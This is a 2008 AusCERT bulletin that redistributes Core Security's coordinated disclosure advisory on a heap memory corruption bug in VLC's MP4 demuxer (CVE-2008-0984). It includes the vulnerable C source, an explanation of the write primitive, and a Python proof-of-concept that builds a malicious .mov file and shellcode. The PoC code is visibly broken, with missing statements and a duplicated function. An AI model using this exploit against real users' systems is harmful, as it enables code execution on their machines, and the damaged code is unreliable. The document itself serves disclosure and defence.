Hash: SHA1

             AUSCERT External Security Bulletin Redistribution

                    ESB-2008.0213 -- [Win][UNIX/Linux]
              VLC media player chunk context validation error
                             28 February 2008


        AusCERT Security Bulletin Summary

Product:              VLC 0.8.6d and earlier
                      Miro Player 1.1 and earlier
Publisher:            Core Security Technologies
Operating System:     UNIX variants (UNIX, Linux, OSX)
Impact:               Execute Arbitrary Code/Commands
Access:               Remote/Unauthenticated
CVE Names:            CVE-2008-0984

Original Bulletin:    http://www.coresecurity.com/?action=item&id=2147

- --------------------------BEGIN INCLUDED TEXT--------------------

Hash: SHA1

      Core Security Technologies - CoreLabs Advisory

VLC media player chunk context validation error

*Advisory Information*

Title: VLC media player chunk context validation error
Advisory ID: CORE-2008-0130
Advisory URL: http://www.coresecurity.com/?action=item&id=2147
Date published: 2008-02-27
Date of last update: 2008-02-27
Vendors contacted: VLC, Miro player
Release mode: Coordinated release

*Vulnerability Information*

Class: Arbitrary memory corruption
Remotely Exploitable: Yes (client-side)
Locally Exploitable: No
Bugtraq ID: 28007
CVE Name: CVE-2008-0984

*Vulnerability Description*

VLC player [1] is an open-source popular multimedia player for various
audio and video formats, and various streaming protocols. It can also be
used as a server to stream in unicast or multicast in IPv4 or IPv6 on a
high-bandwidth network.

 The VideoLAN (VLC) media player package is vulnerable to an arbitrary
memory corruption vulnerability, which can be exploited by malicious
remote attackers to compromise a user's system. The vulnerability is
caused due to the VLC ('demux/mp4/mp4.c') library not properly
sanitizing certain tags on a MOV file before using them to index an
array on the heap. This can be exploited to get arbitrary code execution
by opening a specially crafted file.

*Vulnerable Packages*

. VLC 0.8.6d and earlier.
. Miro Player 1.1 and earlier, uses VLC code.

*Non-vulnerable Packages*

. VLC 0.8.6e

*Vendor Information, Solutions and Workarounds*

The VideoLAN project has issued a security advisory describing this
vulnerability [2], partially quoted below.

 VLC media player's MPEG-4 file format parser (a.k.a. the MP4 demuxer)
suffers from an arbitrary memory overwrite vulnerability when using
specially crafted (invalid) MP4 input files. If successful, a malicious
third party could trigger execution of arbitrary code within the context
of the VLC media player, or otherwise crash the player instance.

 Exploitation of the MP4 demuxer problem requires the user to explicitly
open a specially crafted file. The user should refrain from opening
files from untrusted third parties or accessing untrusted Web sites (or
disable the VLC browser plugins), until the patch is applied.

 VLC media player 0.8.6e addresses these issues and introduces further
usability fixes. The source code patch can be downloaded separately here
[3]. Pre-compiled packages will be available at the usual download
locations shortly.


These vulnerabilities were discovered and researched by Felipe Manzano
and Anibal Sacco, both of them from CORE IMPACT's Exploit Writing Team
(EWT), Core Security Technologies.

*Technical Description / Proof of Concept Code*

The vulnerability resides in the following code at 'demux/mp4/mp4.c'.
User supplied data is used to initialize an arbitrary index of a heap


910    if( ( !(p_co64 = MP4_BoxGet( p_demux_track->p_stbl, "stco" ) )&&
911          !(p_co64 = MP4_BoxGet( p_demux_track->p_stbl, "co64" ) ) )||
912        ( !(p_stsc = MP4_BoxGet( p_demux_track->p_stbl, "stsc" ) ) ))
913    {
914        return( VLC_EGENERIC );
915    }

.. ..

943    i_last = p_demux_track->i_chunk_count; /* last chunk proceded */
944    i_index = p_stsc->data.p_stsc->i_entry_count;
945    if( !i_index )
946    {
947        msg_Warn( p_demux, "cannot read chunk table or table empty" );
948        return( VLC_EGENERIC );
949    }
951    while( i_index-- )
952    {
953        for( i_chunk = p_stsc->data.p_stsc->i_first_chunk[i_index] - 1;
954             i_chunk < i_last; i_chunk++ )
955        {
956            p_demux_track->chunk[i_chunk].i_sample_description_index =
958            p_demux_track->chunk[i_chunk].i_sample_count =
959                    p_stsc->data.p_stsc->i_samples_per_chunk[i_index];
960        }
961        i_last = p_stsc->data.p_stsc->i_first_chunk[i_index] - 1;
962    }

- - -----------/

 At line '910/912', the 'MP4_BoxGet()' function reads data from the file
and returns a structure of type 'MP4_Box_t' with the field
'i_chunk_count' controlled by the user without properly checking the value.

 This value will be used later (at line '956' and '958') within a for
statement to index an array and consequently filling the heap buffer,
but due to the fact that 'i_last' (controlled by user) is used as a
limit for the writing without any kind of check it is possible to write
any value on almost any memory address.

 It is important to note that 'i_last' is not fully controlled by the
attacker in the first iteration but as seen in code at line '961' it
gets the value of 'p_stsc->data.p_stsc->i_first_chunk[i_index] - 1'
which is one of the controlled fields.

 We say almost because in each assignation the user have great control
of the values of 'i_sample_description_index' and 'i_sample_count'
fields, making it possible to write 8 contiguous bytes every 44 bytes.

 This is the structure definition:


/* Contain all information about a chunk */
typedef struct
    uint64_t     i_offset; /* absolute position of this chunk in the file */
    uint32_t     i_sample_description_index; /* index for SampleEntry to
use */
    uint32_t     i_sample_count; /* how many samples in this chunk */
    uint32_t     i_sample_first; /* index of the first sample in this
chunk */

    /* now provide way to calculate pts, dts, and offset without to
        much memory and with fast acces */

    /* with this we can calculate dts/pts without waste memory */
    uint64_t     i_first_dts;
    uint32_t     *p_sample_count_dts;
    uint32_t     *p_sample_delta_dts;   /* dts delta */

    uint32_t     *p_sample_count_pts;
    int32_t      *p_sample_offset_pts;  /* pts-dts */

    /* TODO if needed add pts
        but quickly *add* support for edts and seeking */

} mp4_chunk_t;

- - -----------/

 In this way, as we demonstrate in the following proof of concept (PoC),
it is possible to build a file that contains specially crafted 'stsc'
and 'co64' atoms allowing an attacker to write any value in practically
any address.

 Understanding this, it is possible to patch some critical memory
address to get code execution. And with some voodoo magic, to write a
scattered payload that builds a fully functional shellcode on some other
place to subsequently jump to.

 The following python code will generate a .mov file proving the memory
corruption sometimes overwriting function pointers (tested on a Gentoo
Linux). More efforts can be made to craft a quicktime movie file that
allocates heap in a more predictive way, so the array that we can freely
index is placed in a deterministic predefined way leading to a more
reliable function pointer overwriting.



import struct
import sys

class mov_exploit:

        if shellcodebase!=None:


        mdat = self.mkatom("mdat","MALDAAAAAD!")
        mvhd = self.mkatom("mvhd", "A"*100)

        WW = []
        jmpaddress = struct.pack(">L",0x42424242)



        stscjmp = self.mkatom("stsc",self._mkstsc(WW))
        trakjmp = self._mktrak(stscjmp)

        moov = self.mkatom("moov",trakjmp+mvhd)
        ftyp =
        self.file = ftyp+mdat+moov

    def __str__(self):
        return self.file

    def mkatom(self,type,data):
        if len(type) != 4:
                raise "type must by of length 4!!!"
        mov = ""
        mov += struct.pack(">L",len(data)+8)
        mov += type
        mov += data
        return mov

    def make_calc(self,x):
        r3t =(((x-4) / self.blocksize) + 1)
        return r3t

    def revert_calc(self,x):
        r = (self.blocksize * (x-1)) + 4
        return r

    def _reverse(self,s):
        l = list(s)
        return "".join(l)

    def _mkstsc(self,l):

        r3t = ""
        r3t += struct.pack(">L",1)
        r3t += struct.pack(">L",len(l)+1)
        oldwhere = 0
        for where, what in l:
            oldwhere = where
            if len(what) != 8:
                raise "Wrong what leng"
            r3t += struct.pack(">L",where) + what #self._reverse(what)

        r3t += struct.pack(">L",where + 1) + "FELISCCC"
        return r3t

    def _mkstsc(self,l):

        r3t = ""
        r3t += struct.pack(">L",1)                #version, format needed
        r3t += struct.pack(">L",len(l)+1)         #number of stsc chunks

        oldwhere = 0
        for where, what in l:
            oldwhere = where
            if len(what) != 8:
                raise "Wrong what leng %d"%len(what)
            r3t += struct.pack(">L",where) + what #self._reverse(what)

        r3t += struct.pack(">L",where + 1) + "FELISaLS"
        return r3t

    def _pack(self,s):
        if len(s) != 8:
            raise "Wrong size!"
        return s[3]+s[2]+s[1]+s[0]+s[7]+s[6]+s[5]+s[4]

    def _pack4(self,s):
        if len(s) != 4:
            raise "Wrong size!"
        return s[3]+s[2]+s[1]+s[0]

    def _mkshellcode(self,payload):

        if len(payload) % 4:
            payload += "X" * (4 - len(payload) % 4)
        payload = self._reverse(payload)

        movesp = '\xbc'
        push = '\x68'
        jmps = '\xeb'
        nop  = '\x90'

        shellcode = []

        scode = ""
        scode += movesp +
        scode += nop*(8-(len(scode)+2))
        scode += jmps + struct.pack("B",self.blocksize-8)

        for i in range(0,len(payload),4):
            scode = ""
            scode += push + self._pack4(payload[i:i+4])
            scode += nop*(8-(len(scode)+2))
            scode += jmps + struct.pack("B",self.blocksize-8)

        return shellcode

    def _mktrak(self,stsc):
        tkhd = self.mkatom("tkhd", "A"*100)
        hdlr = self.mkatom("hdlr", "\x00"*4+"mhlrtext"+"appl"+"\x00"*9)
        mdhd = self.mkatom("mdhd", "A"*100)
        co64 = self.mkatom("co64", struct.pack(">L",10) +
struct.pack(">L",2) + "A"*100)
        stbl = self.mkatom("stbl",self.mkatom("stsd","UFFFF") + co64+ stsc)
        minf = self.mkatom("minf",stbl)
        mdia = self.mkatom("mdia",minf+mdhd+hdlr)
        trakjmp = self.mkatom("trak",mdia+tkhd+mdia)
        return trakjmp

    binary_file = mov_exploit(20,0x872e0f8,3996,arch="linux").__str__()
    file = open(sys.argv[1], "wb")
    print "[+] File %s already generated" % sys.argv[1]
    print "[+] Usage: python vlc_poc.py anyname.mov"

- - -----------/

*Report Timeline*

. 2008-02-05:
    VLC team is notified that there is a vulnerability.

. 2008-02-07:
    VLC team acknowledges and requests the draft.

. 2008-02-07:
    Core sends the draft of advisory CORE-2008-0130 to the VLC team.

. 2008-02-08:
    VLC team applies a patch [4] to fix the bug.

. 2008-02-11:
    Core suggests to the VLC team another patch after the calloc (at
line 923) to avoid the possible null pointer reference, for completeness.

. 2008-02-12:
    Core notifies Miro player team that their software is also affected
by the security bug in VLC 0.8.6b.

. 2008-02-12:
    Miro player team acknowledges and says that they have already moved
to VLC 0.8.6c.

. 2008-02-12:
    Core confirms Miro player team that VLC versions 0.8.6d and earlier
are affected, and includes information about the patches in VLC code.

. 2008-02-18:
    Core asks to the VLC team if there will a release available on the
estimated publication date February 27th, 2008.

. 2008-02-07:
    VLC team confirms that release 0.8.6e will be available on February

. 2008-02-27:
    Advisory CORE-2008-0130 is published.


[1] http://www.videolan.org/vlc
[2] http://www.videolan.org/security/sa0802.html
[3] http://www.videolan.org/patches/vlc-0.8.6-CORE-2008-0130.patch
[4] https://trac.videolan.org/vlc/changeset/24944

*About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:

*About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at


The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.

*GPG/PGP Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at

Version: GnuPG v1.4.6 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org


- --------------------------END INCLUDED TEXT--------------------

You have received this e-mail bulletin as a result of your organisation's
registration with AusCERT. The mailing list you are subscribed to is
maintained within your organisation, so if you do not wish to continue
receiving these bulletins you should contact your local IT manager. If
you do not know who that is, please send an email to auscert@auscert.org.au
and we will forward your request to the appropriate person.

NOTE: Third Party Rights
This security bulletin is provided as a service to AusCERT's members.  As
AusCERT did not write the document quoted above, AusCERT has had no control
over its content. The decision to follow or act on information or advice
contained in this security bulletin is the responsibility of each user or
organisation, and should be considered in accordance with your organisation's
site policies and procedures. AusCERT takes no responsibility for consequences
which may arise from following or acting on information or advice contained in
this security bulletin.

NOTE: This is only the original release of the security bulletin.  It may
not be updated when updates to the original are made.  If downloading at
a later date, it is recommended that the bulletin is retrieved directly
from the author's website to ensure that the information is still current.

Contact information for the authors of the original document is included
in the Security Bulletin above.  If you have any questions or need further
information, please contact them directly.

Previous advisories and external security bulletins can be retrieved from:


If you believe that your computer system has been compromised or attacked in 
any way, we encourage you to let us know by completing the secure National IT 
Incident Reporting Form at:


Australian Computer Emergency Response Team
The University of Queensland
Qld 4072

Internet Email: auscert@auscert.org.au
Facsimile:      (07) 3365 7031
Telephone:      (07) 3365 4417 (International: +61 7 3365 4417)
                AusCERT personnel answer during Queensland business hours
                which are GMT+10:00 (AEST).
                On call after hours for member emergencies only.

Comment: http://www.auscert.org.au/render.html?it=1967